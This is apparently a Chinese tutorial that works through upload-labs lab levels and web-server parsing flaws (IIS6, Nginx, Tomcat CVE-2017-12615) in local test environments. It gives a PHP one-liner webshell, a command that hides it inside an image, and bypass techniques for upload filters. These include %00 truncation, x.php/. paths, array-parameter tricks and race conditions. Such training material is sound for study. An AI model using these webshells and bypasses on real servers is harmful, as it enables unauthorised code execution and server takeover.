
涉及知识
图片一句话制作方法
图片写入后门代码命令:copy 1.png /b + shell.php /a webshell.jpg
其中1.png是图片文件,shell.php是PHP一句话或脚本文件,该命令亦相当于使用文本编辑器打开图片以后,在图片文本的末尾添加PHP脚本
文件头检测
图像文件信息判断
逻辑安全——二次渲染
二次渲染
普通的文件上传,在上传后就把文件保存到服务器,二次渲染则有所不同。
二次渲染分以下两步
- 先把文件上传服务器暂存
- 服务器将这个文件进行保存或删除(上传的时候下面有保存和上传的按钮)
应用场景:上传头像时如果尺寸大小不合规范,会要求用户截取一定区域的图片之后再点击保存头像
利用二次渲染的文件上传
二次渲染只是一种技术,未必一定能产生文件上传漏洞,如果两次保存到服务器都对文件类型进行过滤,那么就无从利用条件竞争来访问到webshell。
因此后台在书写二次渲染代码时一定要注意代码的逻辑安全,否则攻击者就有可乘之机,比如Uploadlabs的Pass-18、Pass-19关卡。
逻辑安全——条件竞争
条件竞争
参考文章:浅析条件竞争漏洞
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。
- 首先在burp中不断发送上传webshell的数据包:
- 然后不断在浏览器中访问,发现通过竞争可以访问到:
利用条件竞争的文件上传
当上传操作存在条件竞争,且没有文件包含漏洞,就不能直接上传图片马,要利用条件竞争来触发脚本
文件一上传到服务器上,就对其进行访问,通过条件竞争在rename()、unlink()执行之前就访问
具体操作时,上传时进行抓包,使用burp的intruder模块,向服务器不断发包,浏览器不断进行访问,争取条件竞争的成功
目录命名——x.php/.
以文件夹名的突破方式绕过后缀的限制同时在最终代码执行结果会保存为php文件
对于路径名upload/x.php/.看似是一个文件夹路径,但在解析时会认为等价于upload/x.php
因此如果提交的参数能够决定最终拼接保存的文件名,就可以提交upload/x.php/.,用来php/.绕过过滤后缀名的黑名单,保存文件时又保存为x.php,以成功上传脚本并保存。
比如Uploadlabs的Pass-20关卡。
数组接受——目录命名
PHP数组相关
PHP 数值数组
这里有两种创建数值数组的方法:
自动分配 ID 键(ID 键总是从 0 开始):
1 | $cars=array("Volvo","BMW","Toyota"); |
人工分配 ID 键:
1 | $cars[0]="Volvo"; |
获取数组的长度 - count() 函数
count() 函数用于返回数组的长度(元素的数量):
1 |
|
**注意:**以下数组count()结果为2,即该数组有2个元素,而$cars[1]是一个空值,count()不计入
1 |
|
运行结果如下:

数组接收-目录命名
见Uploadlabs的Pass-21
中间件解析漏洞
服务器解析漏洞算是历史比较悠久了,但如今依然广泛存在。在此记录汇总一些常见服务器(WEB server)的解析漏洞,比如IIS6.0、IIS7.5、apache、nginx等

演示案例
Uploadlabs-pass14-21 关卡测试
Pass-14(文件头检测,图片马利用文件包含漏洞)==涉及文件包含漏洞利用==
1 | //此函数通过检测文件头返回文件后缀名,只允许图片文件上传 |
本关卡通过检测上传文件的文件头来判断文件类型,只允许图片文件上传,因此可以制作图片一句话来上传,之后再利用提示中的文件包含漏洞进行操作。
制作图片一句话

上传图片一句话成功

查看提示中的文件包含漏洞情况
1 |
|
上述代码说明,只要使用GET方法提交名为file的参数,那么就会将该参数值包含,并作为PHP脚本来进行解析,因此我们使用GET方法提交参数值为上传文件的路径,文件路径可以右键网页中显示的图片来获得

GET提交参数即http://localhost/PenTest/uploadlabs/include.php?file=upload/9820220224033548.jpg,可见该图片文件会被当做PHP脚本来解析

我们写的一句话内容是<?php @eval($_POST['shell']);?>,所以使用POST方法提交名为shell的参数来执行
POST提交shell=phpinfo();可以成功执行如下,或者也可使用中国菜刀连接webshell

Pass-15(突破getimagesize)
getimagesize()函数
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
函数的机制决定了其只接收图像文件并获取图像信息,相当于限制了文件类型。
因此如果只能上传图像,就只能配合其他漏洞如文件解析、文件包含来对脚本加以利用,否则就无从利用图像来触发脚本语句。
1 | //判断是否为图像文件——只允许上传图像文件 |
绕过操作
和Pass-14一样,制作图片木马后上传并使用GET及POST方法提交相关参数,可见可以利用文件包含执行写在图片文件末尾的PHP脚本

Pass-16(突破exif-imagetype)
exif-imagetype
exif_imagetype(string $filename) 返回值为int
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
如果发现了恰当的签名则返回一个对应的常量,否则返回 false。返回值和 getimagesize() 返回的数组中的索引 2 的值是一样的,但本函数快得多。
定义有以下常量,并代表了 exif_imagetype() 可能的返回值:
| 值 | 常量 |
|---|---|
| 1 | IMAGETYPE_GIF |
| 2 | IMAGETYPE_JPEG |
| 3 | IMAGETYPE_PNG |
| 4 | IMAGETYPE_SWF |
| 5 | IMAGETYPE_PSD |
| 6 | IMAGETYPE_BMP |
| 7 | IMAGETYPE_TIFF_II(Intel 字节顺序) |
| 8 | IMAGETYPE_TIFF_MM(Motorola 字节顺序) |
| 9 | IMAGETYPE_JPC |
| 10 | IMAGETYPE_JP2 |
| 11 | IMAGETYPE_JPX |
| 12 | IMAGETYPE_JB2 |
| 13 | IMAGETYPE_SWC |
| 14 | IMAGETYPE_IFF |
| 15 | IMAGETYPE_WBMP |
| 16 | IMAGETYPE_XBM |
开启开启php_exif模块如下

1 | function isImage($filename){ |
上述代码说明本关卡使用**exif-imagetype()**函数来判断文件类型,只允许上传图片文件(png、jpg、gif)
绕过操作
和Pass-14一样,制作图片木马后上传并使用GET及POST方法提交相关参数,可见可以利用文件包含执行写在图片文件末尾的PHP脚本
上传成功

提交参数执行脚本成功

Pass-17(==突破验证函数+二次渲染==)
详细参考以下文章
upload-labs之pass 16详细分析(Pass-17是原Pass-16关卡)
1 | $is_upload = false; |
上述代码判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后还做了一次二次渲染,改变了图片中的部分内容。
突破思路:将一个正常显示的图片,上传到服务器。将图片被渲染后与原始图片对比,寻找仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。
==绕过操作==
因此Pass-14、15、16、17都是使用函数验证,只允许上传图片文件,只需上传图片马,再利用文件包含漏洞就能触发脚本语句。
Pass-18(二次渲染+条件竞争)
unlink()
unlink() 函数是用来删除文件的
本关考察的是条件竞争,查看代码:
1 | $is_upload = false; |
第一次保存:还没有判断文件类型,就把文件保存到了$upload_file路径
第二次保存:这里验证完后缀名,再重命名保存
在执行完move_uploaded_file之后,执行rename()、unlink()之前,此时这个php文件是已经保存到了web服务器上的,并且我们能够访问。
一般而言,我们是上传了文件,但是最后却因为过滤或者因为其他原因被删除了,那么我们可以使用条件竞争,我们实际上是和rename()、以及删除文件的unlink()函数进行竞争。文件被访问时,不可以删除。这就如同在编辑文件时,点击删除是不能成功执行的,访问文件时也类似。
如果上传脚本,利用条件竞争,我们在rename()重命名和ulink()删除之前访问该文件,就能提前占用该文件以至于重命名等操作无法进行,可以得到webshell。 所以我们使用多线程并发的不断访问上传的文件,服务器中的函数执行都是需要时间的,如果我上传上去的文件在没被删除的时候,一旦成功访问到了上传的文件,那么它就会向服务器写入shell。
绕过操作
本关卡没有文件包含漏洞,就不能直接上传图片马再利用,而是要利用条件竞争来触发脚本
文件一上传到服务器上,就对其进行访问,通过条件竞争在rename()、unlink()执行之前就访问
上传时进行抓包,使用burp的intruder模块,向服务器不断发包,浏览器不断进行访问,争取条件竞争的成功
Pass-19(条件竞争)
Pass-20(文件夹-目录)
1 | $is_upload = false; |
分析代码可知,过滤机制是黑名单+POST提交参数拼接保存文件名这两种机制的组合,针对文件上传有以下两种思路:
POST提交参数save_path值添加%00截断(PHP版本在5.3以下且关闭魔术引号开关)
由于最终保存的文件名是由POST提交的save_name参数决定的,因此可以使用%00截断使得影响拼接文件名结果。
文件上传抓包,可见保存名称处修改的正是POST提交的save_path参数的值

修改save_path参数值添加%00截断(记得添加%00后需要URL解码),使保存文件名为脚本文件

上传成功

目录命名——x.php/.(无关PHP版本)
文件上传抓包,可见保存名称处修改的正是POST提交的save_path参数的值
修改save_path参数值为x.php/.后上传

上传成功,服务器保存文件名为x.php的脚本文件

Pass-21(数组接受+目录命名)
strtolower()函数
strtolower() 函数把字符串转换为小写
explode()函数
explode() 函数把字符串打散为数组。
1 | explode(separator,string,limit) |
| 参数 | 含义 |
|---|---|
| separator | 必需。规定在哪里分割字符串。 |
| string | 必需。要分割的字符串。 |
| limit | 可选。规定所返回的数组元素的数目。 |
reset()函数
reset() 函数将内部指针指向数组中的第一个元素,并输出。
end()函数
end()函数将内部指针指向数组中的最后一个元素,并输出。
1 | $is_upload = false; |
分析本关卡代码,使用如下的过滤机制:
检查MIME——可用伪造
Content-Type绕过检查文件名:若POST提交的
save_name值为空,则$file值就为文件名,否则$file值就为save_name值且该文件名$file必须为数组,如果
$file不是数组,就explode()函数把字符串打散为数组如:$file=“x.jpg”
explode(‘.’, $file)的结果就是:
$file[0]=“x”
$file[1]=“.”
$file[2]=“jpg”
设置白名单:只允许图片文件上传
- 若符合白名单,拼接最终保存文件名的规则是
$file数组首元素+$file数组末元素 - 若不符合白名单则禁止上传
- 若符合白名单,拼接最终保存文件名的规则是
绕过操作
尝试按照Pass-19的绕过思路,修改save_path参数值为x.php/.后上传,上传失败

这是由于本关卡使用白名单限制jpg/.后缀不符合白名单要求,无法绕过,后缀名必须是图片文件。而Pass-19是黑名单过滤,可以绕过
因为最终拼接文件名,取的是reset()第一个,即索引为0,和索引count()-1即数组内元素个数-1。所以令索引0为1.php,索引2为jpg(只要是索引1之后都可),这样数组元素个数为2,拼接的就是索引0和索引1,也就是1.php和空,结果还是1.php,这样就可以使得拼接后的文件名为1.php
由于使用了explode()将字符串打散,而且该字符串由POST提交的save_name值来决定
我们构造
save_name值,使得explode(‘.’, $file)的结果如下:- $file[0]=“x.php”——拼接最终保存文件名时用到
- $file[1]=空——不计入count()
- $file[2]=“jpg”——符合白名单要求
则最终保存文件名
$file_name = reset($file) . '.' . $file[count($file) - 1];就为x.php空即x.php或者直接将
save_name作为save_name[]数组进行POST提交- save_name[0]=“x.php”——拼接最终保存文件名时用到
- save_name[1]=空——不计入count()
- save_name[2]=“jpg”——符合白名单要求
则最终保存文件名
$file_name = reset($file) . '.' . $file[count($file) - 1];就为x.php空即x.php
使用直接将save_name作为save_name[]数组进行POST提交的方法进行上传
抓包并修改save_name为save_name[]数组,原save_name如下

修改为save_name[]数组后如下,注意不要手动写save_name[1]的值,只写save_name[0]、save_name[2],则save_name[1]自动置为空值

上传成功

CVE-2017-12615——Tomcat任意文件上传漏洞
以上演示的漏洞,都是过滤代码在验证上传文件类型时产生的漏洞,是网站层面的代码书写产生的漏洞。
还有一类漏洞,是网站搭建平台中间件的问题产生的漏洞,比如Tomcat任意文件上传漏洞CVE-2017-12615,这是文件上传漏洞查找的另外一种思路,尽管本质上不是文件上传漏洞,但是会用到文件上传
CVE-2017-12615是一个关于任意文件上传的漏洞,在tomcat中启用put方法会导致任意文件可以上传,从而导致服务器权限被获取。
vulhub中位置为vulhub/tomcat/CVE-2017-12615,启动CVE-2017-12615环境

中间件解析漏洞+配合文件上传测试
IIS—上传—解析—(panfei806)
漏洞
在IIS6.0中,关于文件夹和文件命名存在如下的文件解析漏洞
文件夹命名
正常文件夹命名image/qq.jpg
若文件夹命名如下:image.asp/qq.jpg,则qq.jpg就会被当做asp解析
文件命名
正常文件命名:image.jpg
若文件命名如下:image.asp;.jpg或xxx.asp;xxx.jpg则这个jpg文件就会被当做asp执行
以上的asp可以换成PHP,若换成PHP就当做PHP执行
漏洞复现
自行搭建漏洞环境并访问

登录(账号、密码是前期注入获得,此处不讲)

访问上传界面

点击上传后抓包

修改数据包中的文件名,之后会被当成asp执行

以下说明jpg文件被当做asp执行

若文件名正常,则jpg文件仍然当成jpg执行

访问正常文件名的文件可见按照jpg格式解析

查看服务器端,发现已经触发解析漏洞

Apache—上传—解析漏洞—vulhub
见下一节
Nginx—上传—解析漏洞—vulhub
漏洞
漏洞详解
漏洞利用
上传文件:a.jpg
上传后位置:uploadfiles/3626850d481efd38a8ae8164011f41b2.jpg
文件上传后访问http://IP/uploadfiles/3626850d481efd38a8ae8164011f41b2.jpg可正常成功访问图片
若该图片为图片马,则文件上传后访问http://IP/uploadfiles/3626850d481efd38a8ae8164011f41b2.jpg/a.php就可以执行图片马中的脚本语句
漏洞复现
启动漏洞环境

访问靶机地址

查看中间件及版本

上传图片马,发现显示出路径

上传成功,访问该路径

利用解析漏洞,在URL之后直接加/x.php触发Nginx解析漏洞
该图片文件会被当做PHP脚本进行解析
POST提价一句话参数可以执行PHP函数
